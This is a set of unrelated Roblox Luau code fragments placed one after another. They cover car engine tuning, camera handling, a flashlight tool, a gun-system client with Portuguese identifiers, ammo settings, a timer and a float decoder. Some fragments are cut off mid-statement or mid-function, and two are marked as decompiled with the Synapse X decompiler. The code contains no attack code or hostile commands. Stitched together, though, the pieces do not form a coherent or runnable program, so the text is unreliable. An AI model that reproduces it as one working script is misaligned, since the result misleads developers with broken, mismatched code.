character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldpunch"):destroy() end end end)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 250 Tune.IdleRPM = 700 Tune.PeakRPM = 6000 Tune.Redline = 7000 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Super" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[=[ Requires all the modules that are children of the given parent. This is an easy way to quickly load all controllers that might be in a folder. ```lua Knit.AddControllers(somewhere.Controllers) ``` ]=]
function KnitClient.AddControllers(parent: Instance): {Controller} local addedControllers = {} for _,v in ipairs(parent:GetChildren()) do if not v:IsA("ModuleScript") then continue end table.insert(addedControllers, require(v)) end return addedControllers end
--[[========== Manual Archive Assets ==========]]
-- _SC.MAA = { -- [_M:CreateUUID({#, #, #, ...})] = Object (Scripts, Models, Parts, Ect.) }
--Green for Friendly, and Red for foe's. Kind of like the type Pinkyblt and Griff27 uses in thier games.
bin = script.Parent normel = "http://www.roblox.com/asset/?id=7419350" friendly = "http://www.roblox.com/asset/?id=7419364" enemy = "http://www.roblox.com/asset/?id=7419379" function Run(mouse) mouse.Icon = normel local hit = mouse.Target if (hit == nil) then return end h = hit.Parent:FindFirstChild("Humanoid") if h ~= nil then torso = hit.Parent.Torso if torso ~= nil then if h.Health > 0 then if (torso.BrickColor == bin.Parent.Torso.BrickColor) then mouse.Icon = friendly elseif torso.BrickColor ~= bin.Parent.Torso.BrickColor then mouse.Icon = enemy end end end end end function on(mouse) while true do wait() Run(mouse) end end script.Parent.Equipped:connect(on)
-- Services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local PlayersService = game:GetService("Players")
--[[** ensures Roblox Region3int16 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Region3int16 = primitive("Region3int16")
-- deviation: pre-declare functions
local formatValue local formatObjectValue local formatArray local formatObject local getObjectTag
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value < 25 end
-- Triggers
button_equip.MouseButton1Click:Connect(function() equipItem() end)
--- Takes a dictionary and returns its keys.
function Util.DictionaryKeys(dict) local keys = {} for key in pairs(dict) do table.insert(keys, key) end return keys end
--[[ Used to set a handler for when the promise resolves, rejects, or is cancelled. Returns a new promise chained from this promise. ]]
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk) if not onlyOk then self._unhandledRejection = false end -- Return a promise chained off of this promise return Promise._new(traceback, function(resolve, reject) local finallyCallback = resolve if finallyHandler then finallyCallback = createAdvancer( traceback, finallyHandler, resolve, reject ) end if onlyOk then local callback = finallyCallback finallyCallback = function(...) if self._status == Promise.Status.Rejected then return resolve(self) end return callback(...) end end if self._status == Promise.Status.Started then -- The promise is not settled, so queue this. table.insert(self._queuedFinally, finallyCallback) else -- The promise already settled or was cancelled, run the callback now. finallyCallback(self._status) end end, self) end
--------| Reference |--------
local playerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) return translationVector * sensitivity end function BaseCamera:GamepadZoomPress() local dist = self:GetCameraToSubjectDistance() if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2) elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1) else self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3) end end function BaseCamera:Enable(enable: boolean) if self.enabled ~= enable then self.enabled = enable if self.enabled then CameraInput.setInputEnabled(true) self.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function() self:GamepadZoomPress() end) if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else CameraInput.setInputEnabled(false) if self.gamepadZoomPressConnection then self.gamepadZoomPressConnection:Disconnect() self.gamepadZoomPressConnection = nil end -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end self:OnEnable(enable) end end function BaseCamera:OnEnable(enable: boolean) -- for derived camera end function BaseCamera:GetEnabled(): boolean return self.enabled end function BaseCamera:Cleanup() if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end self.lastCameraTransform = nil self.lastSubjectCFrame = nil -- Unlock mouse for example if right mouse button was being held down CameraUtils.restoreMouseBehavior() end function BaseCamera:UpdateMouseBehavior() local blockToggleDueToClickToMove = UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove if self.isCameraToggle and blockToggleDueToClickToMove == false then CameraUI.setCameraModeToastEnabled(true) CameraInput.enableCameraToggleInput() CameraToggleStateController(self.inFirstPerson) else CameraUI.setCameraModeToastEnabled(false) CameraInput.disableCameraToggleInput() -- first time transition to first person mode or mouse-locked third person if self.inFirstPerson or self.inMouseLockedMode then CameraUtils.setRotationTypeOverride(Enum.RotationType.CameraRelative) CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter) else CameraUtils.restoreRotationType() CameraUtils.restoreMouseBehavior() end end end function BaseCamera:UpdateForDistancePropertyChange() -- Calling this setter with the current value will force checking that it is still -- in range after a change to the min/max distance limits self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number local lastSubjectDistance = self.currentSubjectDistance -- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0 -- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made -- available by the developer without needing to allow players to mousewheel dolly into first person. -- Some modules will override this function to remove or change first-person capability. if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else local newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else self.currentSubjectDistance = newSubjectDistance if self.inFirstPerson then self:LeaveFirstPerson() end end end -- Pass target distance and zoom direction to the zoom controller ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance)) -- Returned only for convenience to the caller to know the outcome return self.currentSubjectDistance end function BaseCamera:SetCameraType( cameraType ) --Used by derived classes self.cameraType = cameraType end function BaseCamera:GetCameraType() return self.cameraType end
--//Controller//--
Humanoid.Died:Connect(function() local IsAlive = Character:FindFirstChild("IsAlive") if IsAlive then IsAlive:Destroy() end end)
--[=[ Extracts the locale from the name @param tableName string -- Used for source @param localeId string -- the defaultlocaleId @param dataTable table -- Data table to load from @return LocalizationTable ]=]
function JsonToLocalizationTable.loadTable(tableName, localeId, dataTable) assert(type(tableName) == "string", "Bad tableName") local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable() recurseAdd(localizationTable, localeId, "", dataTable, tableName) return localizationTable end
------------------------
local maincf = CFrame.new(0, 0, 0) equip = true arms = VMS:WaitForChild("v_FlashlightV2"):Clone() arms.HumanoidRootPart.SpotLight.Brightness = brightness arms.HumanoidRootPart.SpotLight.Range = range arms.HumanoidRootPart.SpotLight.Shadows = shadowson arms.Parent = cam arms.Name = "Arms" run.RenderStepped:Connect(function() if equip == true and arms then arms:SetPrimaryPartCFrame( cam.CFrame * maincf ) end end) UIS.InputEnded:Connect(function(input) if input.KeyCode == Enum.KeyCode[FlashlightKey] and equip == true then if ison == true then ison = false arms.HumanoidRootPart.SpotLight.Enabled = false FlashlightGui.FlashlightOn.Visible = false FlashlightGui.FlashlightOff.Visible = true arms.HumanoidRootPart.Flashlightss:Play() else ison = true arms.HumanoidRootPart.SpotLight.Enabled = true FlashlightGui.FlashlightOff.Visible = false FlashlightGui.FlashlightOn.Visible = true arms.HumanoidRootPart.Flashlightss:Play() end end end) local de = true function onButtonPress() if de == true and equip == true then de = false if ison == true then ison = false arms.HumanoidRootPart.SpotLight.Enabled = false FlashlightGui.FlashlightOn.Visible = false FlashlightGui.FlashlightOff.Visible = true arms.HumanoidRootPart.Flashlightss:Play() else ison = true arms.HumanoidRootPart.SpotLight.Enabled = true FlashlightGui.FlashlightOff.Visible = false FlashlightGui.FlashlightOn.Visible = true arms.HumanoidRootPart.Flashlightss:Play() end wait(.75) de = true end end Con:SetImage("FlashLight", "rbxassetid://2883826635") Con:BindAction("FlashLight",onButtonPress,true,"F") game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Died:Connect(function() equip = false ison = false arms:Destroy() end)
--Make the part move left and right
local function movePart() local speed = 3 local direction = 1 while true do wait(0.1) if parentPart.Position.X > 5 then direction = -1 elseif parentPart.Position.X < -5 then direction = 1 end parentPart.Position += Vector3.new(speed * direction, 0, 0) end end
---------------------------------------------------------------------------------------------- --------------------------------[PROGRAMA]---------------------------------------------------- ----------------------------------------------------------------------------------------------
HeadBase = Instance.new('Part') HeadBase.Name = 'BasePart' HeadBase.Parent = Camera HeadBase.Anchored = true HeadBase.CanCollide = false HeadBase.Transparency = 1 HeadBase.Size = Vector3.new(0.1, 0.1, 0.1) HeadBaseAtt = Instance.new('Attachment') HeadBaseAtt.Parent = HeadBase local StatusUI = PastaHUD:WaitForChild("StatusUI") local StatusClone = StatusUI:Clone() StatusClone.Parent = Jogador.PlayerGui if ServerConfig.EnableHunger then StatusClone.FomeSede.Disabled = false end if ServerConfig.EnableGPS then local StatusUI = PastaHUD:WaitForChild("GPShud") local StatusClone = StatusUI:Clone() StatusClone.Parent = Jogador.PlayerGui StatusClone.GPS.Disabled = false end function ResetWorkspace() Ignore_Model:ClearAllChildren() BulletModel:ClearAllChildren() workspace.Terrain:ClearAllChildren() end ResetWorkspace() Evt.Hit.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings) if Player ~= Jogador then Hitmarker.HitEffect(Ray_Ignore,ACS_Storage,Position, HitPart, Normal, Material,Settings) end end) Evt.HeadRot.OnClientEvent:Connect(function(Player, Rotacao, Offset, Equipado) if Player ~= Jogador and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil then local HRPCF = Player.Character["HumanoidRootPart"].CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(Offset) Player.Character.Torso:WaitForChild("Neck").C0 = Player.Character.Torso.CFrame:toObjectSpace(HRPCF) Player.Character.Torso:WaitForChild("Neck").C1 = CFrame.Angles(Rotacao, 0, 0) end end) Evt.Atirar.OnClientEvent:Connect(function(Player,FireRate,Anims,Arma) if Player ~= Jogador then if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil and Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") ~= nil then local Muzzle = Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") if Player.Character['S' .. Arma.Name]:FindFirstChild("Silenciador") ~= nil and Player.Character['S' .. Arma.Name].Silenciador.Transparency == 0 then Muzzle:FindFirstChild("FlashFX").Brightness = 0 Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 0 else Muzzle:FindFirstChild("FlashFX").Brightness = 5 Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 1000 end for _, v in pairs(Muzzle:GetChildren()) do if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then v.Enabled = true end end delay(1 / 30, function() for _, v in pairs(Muzzle:GetChildren()) do if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then v.Enabled = false end end end) end if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW") TS:Create(AnimBase, TweenInfo.new(FireRate), {C1 = Anims.ShootPos} ):Play() wait(FireRate*2) TS:Create(AnimBase, TweenInfo.new(.2), {C1 = CFrame.new()} ):Play() end end end) function Setup(Tools) local Torso = Character:FindFirstChild('Torso') local Head = Character:FindFirstChild('Head') local HumanoidRootPart = Character:FindFirstChild('HumanoidRootPart') ArmaClient = Tools ArmaClone = GunModelClient:WaitForChild(ArmaClient.Name):Clone() Var = Tools.ACS_Modulo.Variaveis Settings = require(Var:WaitForChild("Settings")) Anims = require(Var:WaitForChild("Animations")) VRecoil = math.random(Settings.VRecoil[1],Settings.VRecoil[2])/1000 HRecoil = math.random(Settings.HRecoil[1],Settings.HRecoil[2])/1000 VPunchBase = (Settings.VPunchBase) HPunchBase = (Settings.HPunchBase) DPunchBase = (Settings.DPunchBase) RecoilPower = Settings.MinRecoilPower BSpread = Settings.MinSpread Silencer = Var.Suppressor Ammo, StoredAmmo, GLAmmo = Var.Ammo, Var.StoredAmmo, Var.LauncherAmmo Chambered,Emperrado,GLChambered = Var.Chambered, Var.Emperrado, Var.GLChambered FireRate = 1/(Settings.FireRate/60) BurstFireRate = 1/(Settings.BurstFireRate/60) ModoTreino = Settings.ModoTreino Sens = Var.Sens Zeroing = Var.Zeroing Evt.Equipar:FireServer(ArmaClient,Settings) Folder = Instance.new("Model", Camera) Folder.Name = Tools.Name AnimBase = Instance.new("Part", Folder) AnimBase.FormFactor = "Custom" AnimBase.CanCollide = false AnimBase.Transparency = 1 AnimBase.Anchored = true AnimBase.Name = "AnimBase" AnimBase.Size = Vector3.new(0.1, 0.1, 0.1) AnimBaseW = Instance.new("Motor6D") AnimBaseW.Part0 = AnimBase AnimBaseW.Part1 = HeadBase AnimBaseW.Parent = AnimBase AnimBaseW.Name = "AnimBaseW" AnimBase.Anchored = false Clone = Instance.new('Motor6D') Clone.Name = 'Clone' Clone.Parent = AnimBase Clone.Part0 = AnimBase Clone.Part1 = HeadBase ArmaClone.Parent = Folder for L_209_forvar1, L_210_forvar2 in pairs(ArmaClone:GetChildren()) do if L_210_forvar2:IsA('BasePart') and L_210_forvar2.Name ~= 'Handle' then if L_210_forvar2.Name ~= "Bolt" and L_210_forvar2.Name ~= 'Lid' then Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle")) end if L_210_forvar2.Name == "Bolt" or L_210_forvar2.Name == "Slide" then Ultil.WeldComplex(ArmaClone:WaitForChild("Handle"), L_210_forvar2, L_210_forvar2.Name) end; if L_210_forvar2.Name == "Lid" then if ArmaClone:FindFirstChild('LidHinge') then Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("LidHinge")) else Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle")) end end end end; for L_213_forvar1, L_214_forvar2 in pairs(ArmaClone:GetChildren()) do if L_214_forvar2:IsA('BasePart') and L_214_forvar2.Name ~= 'Grip' then L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; --LoadClientMods() RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW = SetupMod(Folder, Ultil, Character, RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW, Settings, ArmaClone) Equipped = true if ArmaClone:FindFirstChild('Silenciador')~= nil then if Silencer.Value == true then ArmaClone.Silenciador.Transparency = 0 ArmaClone.SmokePart.FlashFX.Brightness = 0 ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 0 Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value) else ArmaClone.Silenciador.Transparency = 1 ArmaClone.SmokePart.FlashFX.Brightness = 5 ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 1000 Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value) end end end function Unset() if ArmaClient then Evt.Desequipar:FireServer(ArmaClient,Settings) end UnloadClientMods() if Folder then Folder:Destroy() end Equipped = false Aiming = false Safe = false Bipod = false LanternaAtiva = false IRmode = false LaserAtivo = false --Silencer = false CancelReload = false Reloading = false slideback = false OverHeat = false uis.MouseIconEnabled = true game:GetService('UserInputService').MouseDeltaSensitivity = 1 Camera.CameraType = Enum.CameraType.Custom Player.CameraMode = Enum.CameraMode.Classic AimPartMode = 1 stance = 0 tweenFoV(70,15) TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play() Evt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode) if Gui then Gui.Visible = false end for _,c in pairs(Connections) do c:disconnect() end Connections = {} Walking = false a = false d = false end function Update_Gui() if CanUpdateGui then if ArmaClone:FindFirstChild("BipodPoint") ~= nil then Gui.Bipod.Visible = true else Gui.Bipod.Visible = false end if Settings.ArcadeMode == true then Gui.Ammo.Visible = true Gui.Ammo.AText.Text = Ammo.Value.."|"..Settings.Ammo else Gui.Ammo.Visible = false end if Settings.FireModes.Explosive == true and GLChambered.Value == true then Gui.E.ImageColor3 = Color3.fromRGB(255,255,255) Gui.E.Visible = true elseif Settings.FireModes.Explosive == true and GLChambered.Value == false then Gui.E.ImageColor3 = Color3.fromRGB(255,0,0) Gui.E.Visible = true elseif Settings.FireModes.Explosive == false then Gui.E.Visible = false end if Safe == true then Gui.A.Visible = true else Gui.A.Visible = false end if Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == false then Gui.B.Visible = true Gui.B.BackgroundColor3 = Color3.fromRGB(255,255,255) elseif Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == true then Gui.B.Visible = true Gui.B.BackgroundColor3 = Color3.fromRGB(255,0,0) else Gui.B.Visible = false end Gui.FText.Text = Settings.Mode if Settings.Mode ~= "Explosive" then Gui.BText.Text = Settings.BulletType else Gui.BText.Text = "HEDP" end Gui.Sens.Text = (Sens.Value/100) Gui.ZeText.Text = Zeroing.Value .." m" Gui.NText.Text = Settings.Name if Settings.Mode ~= "Explosive" then if Settings.MagCount then Gui.SAText.Text = math.ceil(StoredAmmo.Value/Settings.Ammo) else Gui.SAText.Text = StoredAmmo.Value end else Gui.SAText.Text = GLAmmo.Value end if Silencer.Value == true then Gui.Silencer.Visible = true else Gui.Silencer.Visible = false end if LaserAtivo == true then Gui.Laser.Visible = true if IRmode then Gui.Laser.ImageColor3 = Color3.new(0,255,0) else Gui.Laser.ImageColor3 = Color3.new(255,255,255) end else Gui.Laser.Visible = false end if LanternaAtiva == true then Gui.Flash.Visible = true else Gui.Flash.Visible = false end end end function CheckMagFunction() if CanUpdateGui then Gui.CMText.TextTransparency = 0 Gui.CMText.TextStrokeTransparency = 0.9 if Ammo.Value >= Settings.Ammo then Gui.CMText.Text = "Full" elseif Ammo.Value > math.floor((Settings.Ammo)*.75) and Ammo.Value < Settings.Ammo then Gui.CMText.Text = "Nearly full" elseif Ammo.Value < math.floor((Settings.Ammo)*.75) and Ammo.Value > math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Almost half" elseif Ammo.Value == math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Half" elseif Ammo.Value > math.ceil((Settings.Ammo)*.25) and Ammo.Value < math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Less than half" elseif Ammo.Value < math.ceil((Settings.Ammo)*.25) and Ammo.Value > 0 then Gui.CMText.Text = "Almost empty" elseif Ammo.Value == 0 then Gui.CMText.Text = "Empty" end TS:Create(Gui.CMText,TweenInfo.new(10),{TextTransparency = 1,TextStrokeTransparency = 1}):Play() end end Evt.Stance.OnClientEvent:Connect(function(Player,stance,Settings,Anims) if Player.Character.Humanoid.Health > 0 and Player.Character.AnimBase:FindFirstChild("RAW") ~= nil and Player.Character.AnimBase:FindFirstChild("LAW") ~= nil then local Right_Weld = Player.Character.AnimBase:WaitForChild("RAW") local Left_Weld = Player.Character.AnimBase:WaitForChild("LAW") if stance == 0 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Settings.RightArmPos} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Settings.LeftArmPos} ):Play() elseif stance == 2 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightAim} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftAim} ):Play() elseif stance == 1 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightHighReady} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftHighReady} ):Play() elseif stance == -1 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightLowReady} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftLowReady} ):Play() elseif stance == -2 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightPatrol} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftPatrol} ):Play() elseif stance == 3 then TS:Create(Right_Weld, TweenInfo.new(.3), {C0 = Anims.RightSprint} ):Play() TS:Create(Left_Weld, TweenInfo.new(.3), {C0 = Anims.LeftSprint} ):Play() end end end) function Sprint() if Equipped then if Correndo and SpeedPrecision > 0 then MouseHeld = false if Aiming then game:GetService('UserInputService').MouseDeltaSensitivity = 1 ArmaClone.Handle.AimUp:Play() tweenFoV(70,120) Aiming = false TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play() end if not Safe and not AnimDebounce then stance = 3 Evt.Stance:FireServer(stance,Settings,Anims) SprintAnim() end elseif not Correndo or SpeedPrecision == 0 then if not Safe and not AnimDebounce then if Aiming then stance = 2 Evt.Stance:FireServer(stance,Settings,Anims) IdleAnim() else stance = 0 Evt.Stance:FireServer(stance,Settings,Anims) IdleAnim() end end end end end Sprinting.Changed:connect(function(Valor) Correndo = Valor Sprint() end)
-- Decompiled with the Synapse X Luau decompiler.
return { print = function(...) local v1 = { ... }; if #v1 == 0 then v1 = { "nil" }; end;
--[[for x = 1, 50 do s.Pitch = s.Pitch + 0.01 s:play() wait(0.001) end]]
for x = 1,100 do s.Pitch = s.Pitch - 0.0021 s:play() wait(0.001) end wait() end
--// Ammo Settings
Ammo = 500; StoredAmmo = 500; MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge; ExplosiveAmmo = 0;
--------END AUDIENCE BACK RIGHT--------
wait(0.15)
--[[ Local Functions ]]
-- local function onShiftLockToggled() IsShiftLocked = not IsShiftLocked if IsShiftLocked then ShiftLockIcon.Image = SHIFT_LOCK_ON Mouse.Icon = SHIFT_LOCK_CURSOR UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter else ShiftLockIcon.Image = SHIFT_LOCK_OFF Mouse.Icon = "" UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end local function initialize() if ScreenGui then ScreenGui:Destroy() ScreenGui = nil end ScreenGui = Instance.new('ScreenGui') ScreenGui.Name = "ControlGui" local frame = Instance.new('Frame') frame.Name = "BottomLeftControl" frame.Size = UDim2.new(0, 130, 0, 46) frame.Position = UDim2.new(0, 0, 1, -46) frame.BackgroundTransparency = 1 frame.Parent = ScreenGui ShiftLockIcon = Instance.new('ImageButton') ShiftLockIcon.Name = "MouseLockLabel" ShiftLockIcon.Size = UDim2.new(0, 62, 0, 62) ShiftLockIcon.Position = UDim2.new(0, 2, 0, -65) ShiftLockIcon.BackgroundTransparency = 1 ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF ShiftLockIcon.Visible = IsShiftLockMode ShiftLockIcon.Parent = frame ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled) ScreenGui.Parent = PlayerGui end
---------------------------------------------------------------------------------------------------- -------------------=[ PROJETIL ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,Distance = 10000 ,BDrop = .25 ,BSpeed = 2500 ,SuppressMaxDistance = 25 --- Studs ,SuppressTime = 10 --- Seconds ,BulletWhiz = true ,BWEmitter = 25 ,BWMaxDistance = 200 ,BulletFlare = false ,BulletFlareColor = Color3.fromRGB(255,255,255) ,Tracer = true ,TracerColor = Color3.fromRGB(255,255,255) ,TracerLightEmission = 1 ,TracerLightInfluence = 0 ,TracerLifeTime = .2 ,TracerWidth = .1 ,RandomTracer = false ,TracerEveryXShots = 5 ,TracerChance = 100 ,BulletLight = false ,BulletLightBrightness = 1 ,BulletLightColor = Color3.fromRGB(255,255,255) ,BulletLightRange = 10 ,ExplosiveHit = false ,ExPressure = 500 ,ExpRadius = 25 ,DestroyJointRadiusPercent = 0 --- Between 0 & 1 ,ExplosionDamage = 100 ,LauncherDamage = 100 ,LauncherRadius = 25 ,LauncherPressure = 500 ,LauncherDestroyJointRadiusPercent = 0
--// Firemode Settings
CanSelectFire = false; BurstEnabled = false; SemiEnabled = false; AutoEnabled = true; BoltAction = false; ExplosiveEnabled = false;
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "position", Aliases = { "pos" }, Description = "Returns Vector3 position of you or other players. Empty string is the player has no character.", Group = "DefaultDebug", Args = { { Type = "player", Name = "Player", Description = "The player to report the position of. Omit for your own position.", Default = game:GetService("Players").LocalPlayer } }, ClientRun = function(p1, p2) local l__Character__1 = p2.Character; if not l__Character__1 or not l__Character__1:FindFirstChild("HumanoidRootPart") then return ""; end; return tostring(l__Character__1.HumanoidRootPart.Position):gsub("%s", ""); end };
--minutes.Changed:Connect(function(int) -- if seconds > 9 then -- script.Parent.Text = tostring(minutes.Value)..":"tostring(seconds) -- else -- script.Parent.Text = tostring(minutes.Value)..":0"tostring(seconds) -- end --end)
seconds.Changed:Connect(function(int) if seconds.Value <= 0 and minutes.Value <= 0 then return end if seconds.Value > 9 then script.Parent.Text = tostring(minutes.Value)..":"..tostring(seconds.Value) else script.Parent.Text = tostring(minutes.Value)..":0"..tostring(seconds.Value) end end) while wait(1) do if minutes.Value > 0 and seconds.Value == 0 then minutes.Value -= 1 seconds.Value = 59 continue end if seconds.Value > 0 then seconds.Value -= 1 end end
--[[ Services ]]
-- local ContextActionService = game:GetService('ContextActionService') local Players = game:GetService('Players') local UserInputService = game:GetService('UserInputService')
-- float rd_flt_basic(byte f1..8) -- @f1..4 - The 4 bytes composing a little endian float
local function rd_flt_basic(f1, f2, f3, f4) local sign = bit.rshift(f4, 7) local exp = bit.rshift(f3, 7) + bit.lshift(bit.band(f4, 0x7F), 1) local frac = f1 + bit.lshift(f2, 8) + bit.lshift(bit.band(f3, 0x7F), 16) local normal = 1 if exp == 0 then if frac == 0 then return sign * 0 else normal = 0 exp = 1 end elseif exp == 0x7F then if frac == 0 then return sign * (1 / 0) else return sign * (0 / 0) end end return (-1) ^ sign * 2 ^ (exp - 127) * (1 + normal / 2 ^ 23) end
-- print("Wha " .. pose)
